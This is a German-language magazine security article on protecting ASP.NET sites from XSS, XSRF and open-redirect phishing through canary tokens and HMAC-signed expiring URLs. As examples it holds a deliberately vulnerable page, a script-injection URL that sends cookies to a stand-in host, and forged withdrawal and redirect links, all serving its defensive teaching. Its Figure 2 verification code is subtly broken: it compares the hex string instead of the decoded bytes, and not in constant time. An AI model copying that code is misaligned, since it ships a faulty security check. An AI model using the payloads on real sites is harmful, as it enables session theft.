Security Briefs

Schützen Sie Ihre Website durch Umschreiben von URLs

Bryan Sullivan

Inhalt

Erörterung des Problems
Eine mögliche Lösung: personalisierte URLs
Eine bessere Lösung: Canary-URLs
Ein zustandsloser Ansatz: automatisch ablaufende URLs
Letzter Schritt
Einige Einschränkungen

Tim Berners-Lee hat einmal geschrieben „coole URIs ändern sich nicht“. Er war der Meinung, dass fehlerhafte Hyperlinks das Vertrauen der Benutzer in eine Anwendung aushöhlen und dass URIs so entworfen werden sollten, dass sie für 200 Jahre oder länger unverändert bleiben können. Ich verstehe seinen Standpunkt. Ich wage aber zu behaupten, dass er zum Zeitpunkt dieser Aussage nicht vorausgesehen hat, dass Hyperlinks zu einem Mittel für Hacker werden könnten, unschuldige Benutzer anzugreifen.

Angriffe wie siteübergreifende Skripterstellung (cross-site scripting, XSS), siteübergreifende Anforderungsfälschung (cross-site request forgery, XSRF) und Open-Redirect-Phishing werden regelmäßig durch schädliche Hyperlinks verbreitet, die per E-Mail versendet werden. (Wenn Ihnen solche Angriffe nicht vertraut sind, sollten Sie sich unter Open Web Application Security Project (OWASP) Web darüber informieren.) Das Risiko infolge dieser Sicherheitsanfälligkeiten könnte stark verringert werden, indem die URLs oft geändert werden, und zwar nicht ein Mal in 200 Jahren, sondern ein Mal alle 10 Minuten. Angreifer könnten Sicherheitsanfälligkeiten von Anwendungen nicht mehr ausnutzen, indem sie per E-Mail massenhaft schädliche Hyperlinks versenden. Bis die Nachrichten bei den beabsichtigten Opfern eingetroffen wären, wären die Links fehlerhaft und ungültig. Bei allem Respekt gegenüber Sir Tim: „coole“ URIs ändern sich möglicherweise nicht, aber sichere bestimmt.

Erörterung des Problems

Bevor wir zu den Details einer Lösung kommen, sehen wir uns das Problem näher an. Es folgt ein sehr einfaches Beispiel für ASP.NET-Code, der für einen XSS-Angriff anfällig ist:

protected void Page_Load(object sender, EventArgs e)
{
    // DO NOT USE - this is vulnerable code
    Response.Write("Welcome back, " + Request["username"]);
}

Der Code ist anfällig, weil die Seite den Parameter für den Benutzernamen der Anforderung ohne jegliche Prüfung oder Codierung in die Antwort schreibt. Ein Angreifer kann diese Sicherheitsanfälligkeit problemlos ausnutzen, indem er eine URL erstellt, bei der in den Parameter für den Benutzernamen Skript injiziert wird, etwa so:

page.aspx?username=<script>document.location=   'https://contoso.com/'+document.cookie;</script>

Nun muss der Angreifer ein Opfer nur noch dazu verleiten, auf den Link zu klicken. Dies lässt sich mit Massen-E-Mails wirksam erreichen, insbesondere wenn ein wenig Social Engineering angewendet wird (z. B. „Klicken Sie hier, um Ihre kostenlose Xbox 360 zu erhalten!“). Ähnliche schädliche URLs können erstellt und per E-Mail gesendet werden, um XSRF-Sicherheitsanfälligkeiten auszunutzen:

checking.aspx?action=withdraw&amount=1000&destination=badguy
   and open-redirect vulnerabilities:
  page.aspx?redirect=http://evil.contoso.com

Open-Redirect-Sicherheitsanfälligkeiten sind weniger bekannt als XSS und XSRF. Sie treten auf, wenn eine Anwendung einem Benutzer ermöglicht, in der Anforderung eine beliebige Weiterleitungs-URL anzugeben. Dies kann zu einem Phishingangriff führen, bei dem der Benutzer glaubt, auf einen Link zu klicken, der zu „good.adatum.com“ führt, aber in Wirklichkeit wird er zu „evil.contoso.com“ umgeleitet.

Eine mögliche Lösung: personalisierte URLs

Eine mögliche Lösung für dieses Problem besteht darin, dass die Anwendung ihre URLs umschreibt, sodass sie für jeden Benutzer (oder besser noch für jede Benutzersitzung) personalisiert sind. Eine Anwendung könnte z. B. die URL „contoso.com/page.aspx“ in „contoso.com/{GUID}/page.aspx“ umschreiben, wobei {GUID} zufällig und für jede Benutzersitzung eindeutig wäre. Da es 2 hoch 128 mögliche GUID-Werte gibt, ist es höchst unwahrscheinlich, dass ein Angreifer einen gültigen erraten könnte. Er wäre also vermutlich nicht in der Lage, eine gültige (und schädliche) URL zu erstellen und per E-Mail zu senden.

ASP.NET verfügt bereits über eine ähnliche Funktion, die Bestandteil seiner Sitzungsverarbeitung ist, die ohne Cookies auskommt. Da einige Benutzer keine HTTP-Cookies akzeptieren können oder möchten, kann ASP.NET stattdessen dafür konfiguriert werden, die Sitzungs-ID des Benutzers in der URL zu speichern. Dies können Sie mit einer einfachen Änderung in Ihrer web.config-Datei aktivieren:

<sessionState cookieless="true" />

Bei genauerem Hinsehen erkennen wir jedoch, dass durch diesen Ansatz keine der Sicherheitsanfälligkeiten gemindert werden, derentwegen wir besorgt sind, etwa XSS. Der Angreifer mag nicht in der Lage sein, eine gültige Sitzungs-GUID zu erraten, aber das muss er auch nicht. Er kann seine eigene Sitzung starten, eine gültige Sitzungs-ID abrufen und dann ein Opfer dazu verleiten, diese Sitzung zu verwenden, indem er die URL per E-Mail versendet.

Obwohl diese Sitzung von einem anderen Benutzer verwendet wird, hält dies den Angreifer nicht davon ab, sie gleichzeitig zu verwenden und private Daten des Opfers zu stehlen. Von der Anwendung kann nicht genau festgestellt werden, dass ein und dieselbe Sitzung von zwei unterschiedlichen Personen verwendet wird. Sicherlich könnte die eingehende IP-Adresse geprüft werden, aber es gibt viele Szenarios, bei denen die IP-Adresse eines einzelnen Benutzers sich bei jeder Anforderung legitim ändert oder bei denen mehrere Benutzer die gleiche IP-Adresse gemeinsam verwenden. Dieser Angriff wird Sitzungsfixierungsangriff genannt und ist einer der Gründe, warum die Sitzungsverwaltung ohne Cookies im Allgemeinen nicht empfohlen wird.

Eine bessere Lösung: Canary-URLs

Die Wirksamkeit des Ansatzes der personalisierten URLs kann durch eine kleine Änderung erheblich verbessert werden. Statt die Sitzungs-ID in der URL zu speichern, wird die Sitzungs-ID wie gewohnt in einem Cookie gespeichert, und in der URL wird ein Geheimnis gespeichert, das nur der Client und der Server kennen. Der Code zum Umschreiben der URL wird so geändert, dass sowohl im Sitzungszustand als auch in einem Teil der URL pro Sitzung ein eindeutiger und zufälliger Wert gespeichert wird.

// create the shared secret
Guid secret = Guid.NewGuid();
Session["secret"] = secret;
// rewrite the URL to include the secret value
...

(Der Code zum Umschreiben der URL und zum Analysieren eingehender Werte würde den Rahmen dieses Artikels sprengen. ASP.NET MVC kann für diesen Zweck verwendet werden, und Scott Guthrie hat auch einen Blogartikel über ASP.NET-Verfahren zur URL-Umschreibung verfasst.)

Bei jeder Anforderung wird die in der URL gespeicherte GUID mit der in dem Sitzungszustand gespeicherten verglichen. Wenn sie nicht übereinstimmen oder wenn die GUID in der URL fehlt, wird die Anforderung als schädlich betrachtet und blockiert, und die ursprüngliche IP-Adresse wird protokolliert. Diese Verteidigung mithilfe eines geteilten Geheimnisses (auch Canary-Verteidigung genannt) war lange der empfohlene Ansatz zur Verhinderung von XSRF-Angriffen. Wie Sie aber sehen, werden reflektierte Sicherheitsanfälligkeiten durch XSS ebenfalls recht gut gemindert, indem der E-Mail-Verteilungsvektor abgeschnitten wird.

Beachten Sie, dass dies keinen vollständigen Schutz vor XSS darstellt. Die beste Möglichkeit zur Verhinderung von XSS besteht darin, die Quelle des Problems anzugehen. Dabei wird die Eingabe überprüft und die Ausgabe codiert. Canarys können aber als zusätzliche Verteidigungsschicht angewendet werden.

Ein zustandsloser Ansatz: automatisch ablaufende URLs

Während die Herangehensweise mit der Canary-URL eine gute, sichere Methode ist, hat sie eine Schwäche: Sie verlässt sich auf den serverseitigen Sitzungszustand. Wenn Sie eine zustandslose Anwendung wie einen Webdienst oder eine REST-Anwendung haben, werden sie den Sitzungszustand wahrscheinlich nicht nur zur Speicherung von Canary-Werten aktivieren wollen.

In solchen Fällen können Sie Ihr Gesamtziel erreichen (verhindern, dass Angreifer per E-Mail schädliche Hyperlinks senden), ohne durch das Implementieren automatisch ablaufender URLs den serverseitigen Sitzungszustand beibehalten zu müssen. Eine URL, die kurz nach ihrer Anforderung abläuft (nach etwa 10 Minuten), würde die Gelegenheit für einen Angreifer beträchtlich minimieren, diese URL per E-Mail an potenzielle Opfer zu senden. Legitime Benutzer hingegen hätten immer noch genug Zeit, mit der Ressource zu arbeiten.

Eine Möglichkeit, eine URL mit einem Ablaufdatum zu versehen, besteht im Umschreiben der URL, sodass diese den aktuellen Zeitstempel enthält, etwa so:

https://www.contoso.com/{timestamp}/page.aspx

Immer wenn ein Benutzer eine Anforderung für die Ressource stellt, wird der Zeitstempel der eingehenden URL daraufhin geprüft, ob er älter als 10 Minuten ist (bzw. auf den angegebenen Zeitschwellenwert). Falls ja, wird die Anforderung abgelehnt. Eine Alternative besteht darin, die gewünschte Ablaufzeit in die URL zu schreiben und diese dann in Bezug auf die aktuelle Zeit zu prüfen. Dennoch sind diese beiden Ansätze so, wie sie dargestellt sind, fehlerhaft. Ein Angreifer könnte problemlos eine URL fälschen, die zu einem Zeitpunkt in der Zukunft gültig wäre:

https://www.contoso.com/{current timestamp + one hour}/page.aspx

Dieses Problem wird sogar schlimmer, wenn Sie statt des Ablaufzeitstempels den anfänglichen Anforderungszeitstempel in der URL verwenden. Nun kann der Angreifer nämlich einen beliebigen Zeitpunkt in der fernen Zukunft angeben und die Verteidigung vollständig aushebeln:

https://www.contoso.com/{current timestamp + ten years}/page.aspx

Die Lösung dieses Problems besteht darin, Angreifer an der Manipulation von Zeitstempeln zu hindern. Dazu wird auch ein Schlüsselhash des Zeitstempels als eine Art von Schlüssel-HMAC (hash message authentication code, Hashnachrichten-Authentifizierungscode) in der URL angegeben. Die Tatsache, dass Sie den Hash verschlüsseln, ist wesentlich: Ohne Verschlüsselung könnte ein Angreifer wieder einen zukünftigen Zeitstempel angeben, einen Hashwert dafür berechnen und Ihre Verteidigung unterlaufen. Wenn Sie den Hash mit einem geheimen Schlüssel verschlüsseln, ist dies nicht mehr möglich.

MD5 ist ein beliebter Hashalgorithmus, wird aber nicht mehr als sicher betrachtet. Kryptografieforscher haben Möglichkeiten aufgezeigt, Konflikte zu verursachen und den Algorithmus dadurch zu unterbrechen. Eine bessere Wahl ist eine der SHA-2-Funktionen (Secure Hash Algorithm) wie SHA-256, die zum Zeitpunkt des Verfassens dieses Artikels noch nicht erfolgreich angegriffen wurde. SHA-256 wird von den Microsoft .NET Framework-Klassen „System.Security.Cryptography.SHA256Cng“, „SHA256Crypto­ServiceProvider“, „SHA256Managed“ und „HMACSHA256“ implementiert.

Jede der genannten funktioniert. Da die HMACSHA256-Klasse aber über eine integrierte Funktion verfügt, einen geheimen Schlüsselwert anzuwenden, ist dies die beste Wahl:

HMACSHA256 hmac = new HMACSHA256(); // use a random key value

Wenn der standardmäßige HMACSHA256-Konstruktor verwendet wird, wird ein zufälliger Schlüsselwert auf den Hash angewendet, der für die Sicherheit ausreichen sollte. Dies wird in einer Serverfarmumgebung jedoch nicht funktionieren, da jedes HMACSHA256-Objekt einen anderen Schlüssel haben wird. Wenn Sie Ihre Anwendung in einer Farm bereitstellen, müssen Sie den Schlüssel im Konstruktor ausdrücklich angeben und sicherstellen, dass er für alle Server in der Farm gleich ist.

Im nächsten Schritt wird der Zeitstempel zusammen mit dem Schlüsselhash in die URL geschrieben. Was die Implementierung betrifft, beachten Sie, dass die Ausgabe der HMACSHA256.ComputeHash-Methode ein Bytearray ist. Dieses müssen Sie jedoch in eine URL-konforme Zeichenfolge konvertieren, da es in die ausgehende URL geschrieben wird. Diese Konvertierung ist ein wenig schwieriger, als sie sich anhört. Mit Base64 werden normalerweise beliebige binäre Daten in Zeichenfolgentext konvertiert, aber base64 enthält Zeichen wie das Gleichheitszeichen (=) und den Schrägstrich (/), die ASP.NET Probleme bei der Analyse bereiten, selbst wenn sie URL-codiert sind. Stattdessen sollten Sie binäre Daten Byte für Byte in eine hexadezimale Zeichenfolge konvertieren, wie in Abbildung 1 dargestellt.

Abbildung 1 Generieren des verschlüsselten Zeitstempels

private static string convertToHex(byte[] data)
{
    System.Text.StringBuilder sb = new System.Text.StringBuilder(data.Length);
    foreach (byte b in data)
        sb.AppendFormat("{0:X2}", (int)b);

    return sb.ToString();
}

private string generateKeyedTimestamp()
{
    long outgoingTicks = DateTime.Now.Ticks;

    // get a SHA2 hash value of the timestamp
    byte[] timestampHash = 
        this.hmac.ComputeHash(System.BitConverter.GetBytes(outgoingTicks));

    // return the current timestamp with the keyed hash value
    return outgoingTicks.ToString() + "-" + convertToHex(timestampHash);
}

Abschließend müssen Sie den eingehenden Zeitstempel überprüfen, indem Sie seinen Hash erneut berechnen und sicherstellen, dass er mit dem eingehenden Hash übereinstimmt. Der Code ist in Abbildung 2 dargestellt.

Abbildung 2 Überprüfen des eingehenden Zeitstempels

private static byte[] convertFromHex(string data)
{
    // we know that the hex string must have an even number of digits
    if ((data.Length % 2) != 0)    
        throw new ArgumentException();
    byte[] dataHex = new byte[data.Length / 2];
    for (int i = 0; i < data.Length; i = i + 2)
    {
        string hexByte = data.Substring(i, 2);
        dataHex[i / 2] = (byte)Convert.ToByte(hexByte, 16);
    }

    return dataHex;
}

private bool verifyKeyedTimestamp(long incomingTicks, string incomingHmac)
{
    if (String.IsNullOrEmpty(incomingHmac))
        return false;

    byte[] incomingHmacBytes = convertFromHex(incomingHmac);

    // recompute the hash and verify that it matches the passed-in value
    byte[] recomputedHmac = 
        this.hmac.ComputeHash(BitConverter.GetBytes(incomingTicks));

    // perform byte-by-byte comparison on the arrays
    if (incomingHmac.Length != recomputedHmac.Length)
        return false;
    for (int i = 0; i < incomingHmac.Length; i++)
    {
        if (incomingHmac[i] != recomputedHmac[i])
            return false;
    }

    return true;
}

Letzter Schritt

Unabhängig davon, ob Sie den Canary-Ansatz oder den Ansatz mit dem automatischen Ablaufen verfolgen, als letzten Schritt müssen Sie eine oder mehrere Seiten in Ihrer Anwendung als „Startseiten“ festlegen, auf die ohne das spezielle URL-Token zugegriffen werden kann. Ohne solche Seiten kann Ihre Anwendung von niemandem verwendet werden, da es keine Möglichkeit gibt, eine anfängliche gültige Anforderung zu stellen.

Es gibt viele Möglichkeiten, Startseiten festzulegen. Diese reichen vom Hartkodieren im Code des Umschreibungsmoduls (definitiv nicht empfohlen) bis zu deren Angabe in einer web.config-Datei (besser). Mein bevorzugter Ansatz besteht in der Verwendung eines benutzerdefinierten Attributs. Wenn ein benutzerdefiniertes Attribut verwendet wird, müssen Sie weniger Code schreiben. Des Weiteren wird Vererbung ermöglicht: Sie können eine LandingPage-Klasse definieren und das benutzerdefinierte Attribut auf diese Klasse anwenden. Dann ist jede Seite, die von LandingPage abgeleitet wird, eine Startseite.

Beginnen Sie, indem Sie eine neue benutzerdefinierte Attributsklasse namens „LandingPageAttribute“ definieren. Diese Klasse muss nicht wirklich Methoden oder Eigenschaften enthalten. Sie müssen nur in der Lage sein, Seiten mit diesem Attribut zu markieren und programmgesteuert festzustellen, ob eine Seite derart markiert ist:

public class LandingPageAttribute : Attribute
{
}

Markieren Sie jetzt eine beliebige Seite, die Sie als Startseite verwenden möchten, mit dem LandingPage-Attribut, etwa so:

[LandingPage()]
public partial class HomePage : System.Web.UI.Page 

Überprüfen Sie abschließend in Ihrem URL-Überprüfungscode, ob der angeforderte Handler das benutzerdefinierte Attribut besitzt. Wenn Sie den Umschreibungscode Ihrer URL als HttpModule implementieren, können Sie die Überprüfung mit dem Code in Abbildung 3 durchführen.

Abbildung 3 Überprüfen auf das benutzerdefinierte LandingPage-Attribut

public class RewriteModule : IHttpModule
{
    public void Init(HttpApplication context)
    {
        context.PostMapRequestHandler += new 
            EventHandler(context_PostMapRequestHandler);
    }

    void context_PostMapRequestHandler(object sender, EventArgs e)
    {
        HttpApplication application = sender as HttpApplication;
        if ((application == null) || (application.Context == null))
            return;

        // get the current request handler
        IHttpHandler httpHandler = application.Context.CurrentHandler;
        if (httpHandler == null)
            return;

        // reflect into the handler type to look for a LandingPageAttribute
        Type handlerType = httpHandler.GetType();
        object[] landingPageAttributes =
            handlerType.GetCustomAttributes(typeof(LandingPageAttribute),
                true);

        // allow access if we found any
        bool allowAccess = (landingPageAttributes.Length > 0);
        ...
    }
}

Verwenden Sie das LandingPage-Attribut umsichtig. Es ist nicht nur so, dass die Verteidigungen durch Umschreiben für Startseiten ungültig sind (da ein Angreifer einfach das URL-Token entfernen könnte). Wenn nur auf einer einzelnen Startseite eine Sicherheitsanfälligkeit bezüglich XSS besteht, könnte jede Seite der Domäne gefährdet sein. Ein Angreifer könnte eine Reihe von XMLHttpRequest-Aufrufen in das clientseitige Skript injizieren, um programmgesteuert einen gültigen Canary-Wert oder Zeitstempel zu ermitteln und seinen Angriff dementsprechend umzuleiten.

Bestimmen Sie, wenn möglich, eine einzelne Startseite für Ihre Anwendung. Leiten Sie von dieser Seite sofort zu einer Seite mit umgeschriebener URL weiter, nachdem Sie alle querystring-Parameter entfernt haben. Zum Beispiel:

https://www.contoso.com/landingpage.aspx?a=b&c=d

würde automatisch weiterleiten zu

https://www.contoso.com/(token)/otherpage.aspx

Einige Einschränkungen

Unter Umständen eignet sich das Umschreiben von URLs nicht für alle Anwendungen. Eine negative Nebenwirkung dieses Ansatzes besteht darin, dass Angreifer zwar keine schädlichen Hyperlinks mehr per E-Mail senden können, aber legitime Benutzer werden ähnlich daran gehindert, gültige Links zu senden oder in der Anwendung Lesezeichen für die Seiten zu erstellen. Jede als Startseite markierte Seite könnte mit einem Lesezeichen markiert werden. Aber wie bereits erwähnt, müssen Sie beim Verwenden von Startseiten sehr vorsichtig sein. Wenn Sie also davon ausgehen, dass Benutzer Ihrer Anwendung andere Seiten als die Homepage mit Lesezeichen markieren, ist das Umschreiben von URLs wahrscheinlich keine gute Lösung für Sie.

Das Umschreiben von URLs ist zwar eine schnelle und einfache Tiefenverteidigungsmethode, aber auch nur das: Tiefenverteidigung. Es ist keineswegs ein Allheilmittel, das gegen XSS oder andere Angriffe hilft. Eine automatisch ablaufende URL kann immer noch von einem Angreifer ausgenutzt werden, der Zugriff auf seinen eigenen Webserver hat. Statt schädliche Hyperlinks zu versenden, die direkt auf die anfällige Seite zeigen, kann er Hyperlinks schicken, die auf seine eigene Website zeigen. Wenn seine Website einen Treffer von einer der gephishten E-Mails erhält, kann diese eine Startseite auf der anfälligen Website kontaktieren, um einen gültigen Zeitstempel zu erhalten und den Benutzer anschließend dementsprechend umzuleiten.

Das Umschreiben von URLs macht dem Angreifer das Leben schwerer: Jetzt muss er einen Benutzer dazu verleiten, einem Hyperlink zu seiner Website (evil.contoso.com) zu folgen statt zu einer vertrauten Website (www.msn.com). Außerdem hinterlässt er auch einen sehr deutlichen Pfad, der problemlos von den Strafverfolgungsbehörden zurückverfolgt werden kann. Dies ist jedoch wahrscheinlich ein schwacher Trost für alle Opfer, die auf die gephishte E-Mail hereinfallen und denen so ihre Identitäten gestohlen werden. Verwenden Sie das Umschreiben von URLs als zusätzliche Verteidigungsmaßnahme, aber stellen Sie immer sicher, die Sicherheitsanfälligkeiten an der Wurzel des Problems zu packen.

Abschließend möchte ich anmerken, dass die in diesem Artikel beschriebenen Verfahren nicht als offizielle Entwicklungsleitfäden von Microsoft ausgelegt werden sollten. Sie können sie gern verwenden, aber betrachten Sie sie nicht als SDL-Anforderungen (Secure Development Lifecycle). Wir forschen fortlaufend in diesem Bereich und würden uns über Ihr Feedback freuen. Sie können gern im SDL-Blog (blogs.msdn.com/sdl) mit Kommentaren an mich herantreten.

Senden Sie Fragen und Kommentare (in englischer Sprache) an briefs@microsoft.com.

Bryan Sullivan ist Security Program Manager beim Microsoft Security Development Lifecycle-Team, wo er sich auf Sicherheitsprobleme bei Webanwendungen spezialisiert hat. Sein erstes Buch, Ajax Security, wurde bei Addison-Wesley im Dezember 2007 veröffentlicht.